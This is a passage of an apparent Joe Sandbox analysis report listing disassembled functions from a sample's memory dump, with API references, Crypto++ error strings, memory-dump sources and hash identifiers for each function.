                                          • Instruction Fuzzy Hash: 2101F97270532A5FD71446649C00B36B395FBB1738F35463CEB11D7293EA249C005BD4
                                          Function 00934F4D Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 47COMMON
                                          Download Yara Rule
                                          APIs
                                          • ___crtAcquireSRWLockExclusive.LIBCPMT ref: 00934F2C
                                          • ___crtAcquireSRWLockExclusive.LIBCPMT ref: 00934F43
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.2799799628.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                          • Associated: 00000000.00000002.2799777440.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799877152.0000000000943000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799912957.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799935608.0000000000981000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799955516.0000000000986000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799983820.0000000000990000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_860000_GD8c7ARn8q.jbxd
                                          Similarity
                                          • API ID: AcquireExclusiveLock___crt
                                          • String ID: mqzp
                                          • API String ID: 4204951410-955126501
                                          • Opcode ID: 701202c30ab721c83ace81640051aac7d5cffaa13ceb08ad7dd543c375b1bc4b
                                          • Instruction ID: 05eea7aa9a5b061a025da8f4192bdaaee9e49a822108a5fdb0e6133be3a85e9b
                                          • Opcode Fuzzy Hash: 701202c30ab721c83ace81640051aac7d5cffaa13ceb08ad7dd543c375b1bc4b
                                          • Instruction Fuzzy Hash: 3A018632218218C787289F18F8408A27BD9EF08326B5A486AF802CB300DB30FC808F90
                                          Function 00896E00 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 46COMMON
                                          Download Yara Rule
                                          APIs
                                          • __CxxThrowException@8.LIBVCRUNTIME ref: 00896E8A
                                          Strings
                                          • AllocatorBase: requested size would cause integer overflow, xrefs: 00896E61
                                          • mqzp, xrefs: 00896E14
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.2799799628.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                          • Associated: 00000000.00000002.2799777440.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799877152.0000000000943000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799912957.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799935608.0000000000981000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799955516.0000000000986000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799983820.0000000000990000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_860000_GD8c7ARn8q.jbxd
                                          Similarity
                                          • API ID: Exception@8Throw
                                          • String ID: AllocatorBase: requested size would cause integer overflow$mqzp
                                          • API String ID: 2005118841-2491344248
                                          • Opcode ID: a429b53f49611cc69ffa7e034af4765a60cfd0d5f8df9bab04e62a99e6a36a52
                                          • Instruction ID: ad63a135b6c3bdd5986c90bdfb0f6a80f8373d8ca60c09ba610fd04b23e83b6e
                                          • Opcode Fuzzy Hash: a429b53f49611cc69ffa7e034af4765a60cfd0d5f8df9bab04e62a99e6a36a52
                                          • Instruction Fuzzy Hash: 9301D472D44648EBCB14EFA4D842FDEB7B8FB14710F50466AF821E3780EB35AA14CA51
                                          Function 00866300 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 44COMMON
                                          Download Yara Rule
                                          APIs
                                          • __CxxThrowException@8.LIBVCRUNTIME ref: 0086634E
                                            • Part of subcall function 0090858E: RaiseException.KERNEL32(?,?,008D5B0C,?,?,Dflt,?,?,?,?,?,008D5B0C,?,009799E8,?), ref: 009085EE
                                          Strings
                                          • mqzp, xrefs: 00866314
                                          • StreamTransformation: this object doesn't support random access, xrefs: 00866325
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.2799799628.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                          • Associated: 00000000.00000002.2799777440.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799877152.0000000000943000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799912957.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799935608.0000000000981000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799955516.0000000000986000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799983820.0000000000990000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_860000_GD8c7ARn8q.jbxd
                                          Similarity
                                          • API ID: ExceptionException@8RaiseThrow
                                          • String ID: StreamTransformation: this object doesn't support random access$mqzp
                                          • API String ID: 3976011213-1388426481
                                          • Opcode ID: dab58c6940dd8b80f5ec0192afa06c5ad0013d6c751e04b25dc4d0c86736e9c6
                                          • Instruction ID: a14bd03d3400c6139fe82138a29a051ce61889b0b8644027224090b5d5e4bc4b
                                          • Opcode Fuzzy Hash: dab58c6940dd8b80f5ec0192afa06c5ad0013d6c751e04b25dc4d0c86736e9c6
                                          • Instruction Fuzzy Hash: FEF0547291460CEBC700DB94DD42FDEB7FCFB08710F504565F811A3680DB74AA048A61
                                          Function 00866820 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 44COMMON
                                          Download Yara Rule
                                          APIs
                                          • __CxxThrowException@8.LIBVCRUNTIME ref: 0086686E
                                            • Part of subcall function 0090858E: RaiseException.KERNEL32(?,?,008D5B0C,?,?,Dflt,?,?,?,?,?,008D5B0C,?,009799E8,?), ref: 009085EE
                                          Strings
                                          • mqzp, xrefs: 00866834
                                          • GeneratableCryptoMaterial: this object does not support key/parameter generation, xrefs: 00866845
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.2799799628.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                          • Associated: 00000000.00000002.2799777440.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799877152.0000000000943000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799912957.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799935608.0000000000981000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799955516.0000000000986000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799983820.0000000000990000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_860000_GD8c7ARn8q.jbxd
                                          Similarity
                                          • API ID: ExceptionException@8RaiseThrow
                                          • String ID: GeneratableCryptoMaterial: this object does not support key/parameter generation$mqzp
                                          • API String ID: 3976011213-2395367248
                                          • Opcode ID: 7a16ef39325312c1354cc477b1c1f25635553dac2c7d48417e510f5170f44d03
                                          • Instruction ID: 9b8cef94ed3591de6eb8be5586ed7d9d9abe2b1b636ceb91a0f76a9ea22d7974
                                          • Opcode Fuzzy Hash: 7a16ef39325312c1354cc477b1c1f25635553dac2c7d48417e510f5170f44d03
                                          • Instruction Fuzzy Hash: 17F06D71A00508EBC700EB68C982F9EB7B8FF48704F604165F421E7290DB35AD058B50
                                          Function 008664A0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 42COMMON
                                          Download Yara Rule
                                          APIs
                                          • __CxxThrowException@8.LIBVCRUNTIME ref: 008664EE
                                            • Part of subcall function 0090858E: RaiseException.KERNEL32(?,?,008D5B0C,?,?,Dflt,?,?,?,?,?,008D5B0C,?,009799E8,?), ref: 009085EE
                                          Strings
                                          • mqzp, xrefs: 008664B4
                                          • RandomNumberGenerator: IncorporateEntropy not implemented, xrefs: 008664C5
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.2799799628.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                          • Associated: 00000000.00000002.2799777440.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799877152.0000000000943000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799912957.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799935608.0000000000981000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799955516.0000000000986000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799983820.0000000000990000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_860000_GD8c7ARn8q.jbxd
                                          Similarity
                                          • API ID: ExceptionException@8RaiseThrow
                                          • String ID: RandomNumberGenerator: IncorporateEntropy not implemented$mqzp
                                          • API String ID: 3976011213-1072729184
                                          • Opcode ID: 119031251985f063bebc0dcea470ff01ec91f90f2c6a87686918857f8e1b1714
                                          • Instruction ID: 2633893687c7b35fa334e02023269666f327dd0d25d5b5cd0579bbd7dfac8e22
                                          • Opcode Fuzzy Hash: 119031251985f063bebc0dcea470ff01ec91f90f2c6a87686918857f8e1b1714
                                          • Instruction Fuzzy Hash: 4EF05E72954608EBC700EB94CD42FDEB7FCFB08704F500265F421A3690DB75AA048A91
                                          Function 00866260 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 41COMMON
                                          Download Yara Rule
                                          APIs
                                          • __CxxThrowException@8.LIBVCRUNTIME ref: 008662C4
                                            • Part of subcall function 0090858E: RaiseException.KERNEL32(?,?,008D5B0C,?,?,Dflt,?,?,?,?,?,008D5B0C,?,009799E8,?), ref: 009085EE
                                          Strings
                                          • : this object doesn't support resynchronization, xrefs: 00866295
                                          • mqzp, xrefs: 00866274
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.2799799628.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                          • Associated: 00000000.00000002.2799777440.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799877152.0000000000943000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799912957.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799935608.0000000000981000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799955516.0000000000986000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799983820.0000000000990000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_860000_GD8c7ARn8q.jbxd
                                          Similarity
                                          • API ID: ExceptionException@8RaiseThrow
                                          • String ID: : this object doesn't support resynchronization$mqzp
                                          • API String ID: 3976011213-2357983896
                                          • Opcode ID: e275ae14bcd997349901d2ccd72f33bcf49ea885a28edff09a268579d37a6350
                                          • Instruction ID: 0522a2ba0bbb0aaad893e2b612fb48af6fae095f7c89cdcf7d35024b09ed3488
                                          • Opcode Fuzzy Hash: e275ae14bcd997349901d2ccd72f33bcf49ea885a28edff09a268579d37a6350
                                          • Instruction Fuzzy Hash: FFF04472904648EFCB01EBA4CD45F8EB7F8FB09704F544665B415E7291DA74AA088B91
                                          Function 00866550 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 37COMMON
                                          Download Yara Rule
                                          APIs
                                          • __CxxThrowException@8.LIBVCRUNTIME ref: 0086659E
                                            • Part of subcall function 0090858E: RaiseException.KERNEL32(?,?,008D5B0C,?,?,Dflt,?,?,?,?,?,008D5B0C,?,009799E8,?), ref: 009085EE
                                          Strings
                                          • mqzp, xrefs: 00866564
                                          • BufferedTransformation: this object is not attachable, xrefs: 00866575
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.2799799628.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                          • Associated: 00000000.00000002.2799777440.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799877152.0000000000943000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799912957.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799935608.0000000000981000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799955516.0000000000986000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799983820.0000000000990000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_860000_GD8c7ARn8q.jbxd
                                          Similarity
                                          • API ID: ExceptionException@8RaiseThrow
                                          • String ID: BufferedTransformation: this object is not attachable$mqzp
                                          • API String ID: 3976011213-108581184
                                          • Opcode ID: dc61d316bf3acac7492337d6dd3abd3cfcc73f71663e2cf8cdcd7954c9793e0b
                                          • Instruction ID: 65ead7d61ef1ce71466d64df201d165b2e3d7c73e9c86246c619b36db1ec6831
                                          • Opcode Fuzzy Hash: dc61d316bf3acac7492337d6dd3abd3cfcc73f71663e2cf8cdcd7954c9793e0b
                                          • Instruction Fuzzy Hash: 37F06DB2914608EBCB00EBA4CD82FDEB7BCFB08704F904625F421B32C0DB746A088A51
                                          Function 00898740 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 37COMMON
                                          Download Yara Rule
                                          APIs
                                          • __CxxThrowException@8.LIBVCRUNTIME ref: 008987A6
                                          Strings
                                          • AllocatorBase: requested size would cause integer overflow, xrefs: 0089877D
                                          • mqzp, xrefs: 00898754
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.2799799628.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                          • Associated: 00000000.00000002.2799777440.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799877152.0000000000943000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799912957.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799935608.0000000000981000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799955516.0000000000986000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799983820.0000000000990000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_860000_GD8c7ARn8q.jbxd
                                          Similarity
                                          • API ID: Exception@8Throw
                                          • String ID: AllocatorBase: requested size would cause integer overflow$mqzp
                                          • API String ID: 2005118841-2491344248
                                          • Opcode ID: 14a814caa2ea898264fbbf27b445d58b5778b768673a412d53b6846942a0b048
                                          • Instruction ID: 575b82d37e8cdfa9bcb6de3267415c6bb09dadff20ebeb57b50cc1f0eca201b2
                                          • Opcode Fuzzy Hash: 14a814caa2ea898264fbbf27b445d58b5778b768673a412d53b6846942a0b048
                                          • Instruction Fuzzy Hash: F8F09072914648EBCB00EFE4DC41BDEB7B8FB09724F54466AF815A76C0DB356504CA50
                                          Function 00864E40 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 36COMMON
                                          Download Yara Rule
                                          APIs
                                          • ___std_exception_copy.LIBVCRUNTIME ref: 00864E7E
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.2799799628.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                          • Associated: 00000000.00000002.2799777440.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799877152.0000000000943000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799912957.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799935608.0000000000981000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799955516.0000000000986000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799983820.0000000000990000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_860000_GD8c7ARn8q.jbxd
                                          Similarity
                                          • API ID: ___std_exception_copy
                                          • String ID: $$mqzp
                                          • API String ID: 2659868963-1352382
                                          • Opcode ID: 19cd7d33bb8fa31155a630775c5b32d3adb95fdb0a824e71f87e0570e2f8d1b8
                                          • Instruction ID: a9a1a947aaa88b9a4ab8461e0759ec6c296a1a79ac0d2d7e34c6453a6927b354
                                          • Opcode Fuzzy Hash: 19cd7d33bb8fa31155a630775c5b32d3adb95fdb0a824e71f87e0570e2f8d1b8
                                          • Instruction Fuzzy Hash: EC018F70814708CEC720EFA9C54479EFBF4AF19304F50865DE48567741EBB4A688CBE1
                                          Function 008A61D0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 35COMMON
                                          Download Yara Rule
                                          APIs
                                          • __CxxThrowException@8.LIBVCRUNTIME ref: 008A6221
                                            • Part of subcall function 0090858E: RaiseException.KERNEL32(?,?,008D5B0C,?,?,Dflt,?,?,?,?,?,008D5B0C,?,009799E8,?), ref: 009085EE
                                          Strings
                                          • mqzp, xrefs: 008A61E4
                                          • NullRNG: NullRNG should only be passed to functions that don't need to generate random bytes, xrefs: 008A61F8
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.2799799628.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                          • Associated: 00000000.00000002.2799777440.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799877152.0000000000943000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799912957.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799935608.0000000000981000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799955516.0000000000986000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799983820.0000000000990000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_860000_GD8c7ARn8q.jbxd
                                          Similarity
                                          • API ID: ExceptionException@8RaiseThrow
                                          • String ID: NullRNG: NullRNG should only be passed to functions that don't need to generate random bytes$mqzp
                                          • API String ID: 3976011213-2045196553
                                          • Opcode ID: 580068ccc93bf055f5593463b0e30ac80f78147333d2b6900b9f3dea1c6237f5
                                          • Instruction ID: a2b6bd50e31e2d9c8025a44fafe5dcc7d04515188cbe0cf69a236f126ede8d8c
                                          • Opcode Fuzzy Hash: 580068ccc93bf055f5593463b0e30ac80f78147333d2b6900b9f3dea1c6237f5
                                          • Instruction Fuzzy Hash: FBF037B2914648EBCB00DBD4CC42FDEB7BCFB04710F840625B411B7290DB7465048A50
                                          Function 008A68F0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 35COMMON
                                          Download Yara Rule
                                          APIs
                                          • __CxxThrowException@8.LIBVCRUNTIME ref: 008A6941
                                            • Part of subcall function 0090858E: RaiseException.KERNEL32(?,?,008D5B0C,?,?,Dflt,?,?,?,?,?,008D5B0C,?,009799E8,?), ref: 009085EE
                                          Strings
                                          • BufferedTransformation: this object can't be reinitialized, xrefs: 008A6918
                                          • mqzp, xrefs: 008A6904
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.2799799628.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                          • Associated: 00000000.00000002.2799777440.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799877152.0000000000943000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799912957.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799935608.0000000000981000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799955516.0000000000986000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799983820.0000000000990000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_860000_GD8c7ARn8q.jbxd
                                          Similarity
                                          • API ID: ExceptionException@8RaiseThrow
                                          • String ID: BufferedTransformation: this object can't be reinitialized$mqzp
                                          • API String ID: 3976011213-2314983287
                                          • Opcode ID: a6e003b4b482b9d115fe3db8bb2113dc4c42748e6f5b0bfbf056f67d78971e5f
                                          • Instruction ID: 653ad03742f2d17b63e4af4f7b60c283ce9e27e8149f5c2120df7b3555933b23
                                          • Opcode Fuzzy Hash: a6e003b4b482b9d115fe3db8bb2113dc4c42748e6f5b0bfbf056f67d78971e5f
                                          • Instruction Fuzzy Hash: 73F037B2914648EBCB00DBE4CC42FDEB7BCFB04710F940625F411B7290DB7466088A50
                                          Function 00862400 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 29COMMONLIBRARYCODE
                                          Download Yara Rule
                                          APIs
                                          • ___std_exception_copy.LIBVCRUNTIME ref: 00862432
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.2799799628.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                          • Associated: 00000000.00000002.2799777440.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799877152.0000000000943000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799912957.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799935608.0000000000981000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799955516.0000000000986000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799983820.0000000000990000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_860000_GD8c7ARn8q.jbxd
                                          Similarity
                                          • API ID: ___std_exception_copy
                                          • String ID: Dflt$mqzp
                                          • API String ID: 2659868963-2193474274
                                          • Opcode ID: 055d7ecc192d3c114915474920e2d610bce3eebd6b696ff1a3fa7936ecb3b8e4
                                          • Instruction ID: e42209d9798786e0586cf8d60738a0c5cf130953093c78239a224fe8e4e6e42d
                                          • Opcode Fuzzy Hash: 055d7ecc192d3c114915474920e2d610bce3eebd6b696ff1a3fa7936ecb3b8e4
                                          • Instruction Fuzzy Hash: 82F08271D1460CDFCB14EFA8D88199EBBF4AF55300F1082AEE445A7301EB706A95CB95
                                          Function 00862B00 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 29COMMONLIBRARYCODE
                                          Download Yara Rule
                                          APIs
                                          • std::_Lockit::_Lockit.LIBCPMT ref: 00862B1D
                                          • std::_Lockit::~_Lockit.LIBCPMT ref: 00862B39
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.2799799628.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                          • Associated: 00000000.00000002.2799777440.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799877152.0000000000943000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799912957.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799935608.0000000000981000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799955516.0000000000986000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799983820.0000000000990000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_860000_GD8c7ARn8q.jbxd
                                          Similarity
                                          • API ID: Lockitstd::_$Lockit::_Lockit::~_
                                          • String ID: mqzp
                                          • API String ID: 593203224-955126501
                                          • Opcode ID: 961953b49781168b8ba5631536aa415e1827ec3e285276fd595480eae4920531
                                          • Instruction ID: 0ff4a87391eb6c6fb22c055e29dcc19a0e060a555469b8b74fa09e5e82b963ac
                                          • Opcode Fuzzy Hash: 961953b49781168b8ba5631536aa415e1827ec3e285276fd595480eae4920531
                                          • Instruction Fuzzy Hash: 0BF05E70914508DFD714EF68E8516A9B7B4FB14310F8001AEE482A3340EF302D46DB51
                                          Function 00862460 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 28COMMON
                                          Download Yara Rule
                                          APIs
                                          • ___std_exception_copy.LIBVCRUNTIME ref: 00862493
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.2799799628.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                          • Associated: 00000000.00000002.2799777440.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799877152.0000000000943000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799912957.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799935608.0000000000981000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799955516.0000000000986000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799983820.0000000000990000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_860000_GD8c7ARn8q.jbxd
                                          Similarity
                                          • API ID: ___std_exception_copy
                                          • String ID: bad conversion$mqzp
                                          • API String ID: 2659868963-3679320916
                                          • Opcode ID: 143c8b5e840373e62d4877b7399f19b669fc8b84e3159be73000e10c05aa0ecb
                                          • Instruction ID: 9938694a992093c27da3ad18767fceac4f2f9ac001eddb85cd1763ed8c2ca388
                                          • Opcode Fuzzy Hash: 143c8b5e840373e62d4877b7399f19b669fc8b84e3159be73000e10c05aa0ecb
                                          • Instruction Fuzzy Hash: C3F0827092470CDBC720EFA8D84159EF7E8EF15304F5042AEE441A7201EB715A548B95
                                          Function 009107E4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 26COMMONLIBRARYCODE
                                          Download Yara Rule
                                          APIs
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.2799799628.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                          • Associated: 00000000.00000002.2799777440.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799877152.0000000000943000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799912957.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799935608.0000000000981000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799955516.0000000000986000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799983820.0000000000990000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_860000_GD8c7ARn8q.jbxd
                                          Similarity
                                          • API ID: NameName::
                                          • String ID: {flat}
                                          • API String ID: 1333004437-2606204563
                                          • Opcode ID: 08b6f5b38d47ccb2ed58198ad0c36f437ffa4c14494fd434c3ad72315449b058
                                          • Instruction ID: dcb0b6300f8aa461784453ecb0964449a37c9b5eec2a722eb093cb5402a425e4
                                          • Opcode Fuzzy Hash: 08b6f5b38d47ccb2ed58198ad0c36f437ffa4c14494fd434c3ad72315449b058
                                          • Instruction Fuzzy Hash: 1BF0393060920C9FD714EF58D4A6BE63BE4AB85359F048484E94D0F392CBB6A8D0C7A0
                                          Function 00902EB7 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 17COMMON
                                          Download Yara Rule
                                          APIs
                                          • std::invalid_argument::invalid_argument.LIBCONCRT ref: 00902ED6
                                          • __CxxThrowException@8.LIBVCRUNTIME ref: 00902EE4
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.2799799628.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                          • Associated: 00000000.00000002.2799777440.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799877152.0000000000943000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799912957.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799935608.0000000000981000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799955516.0000000000986000.00000004.00000001.01000000.00000003.sdmpDownload File
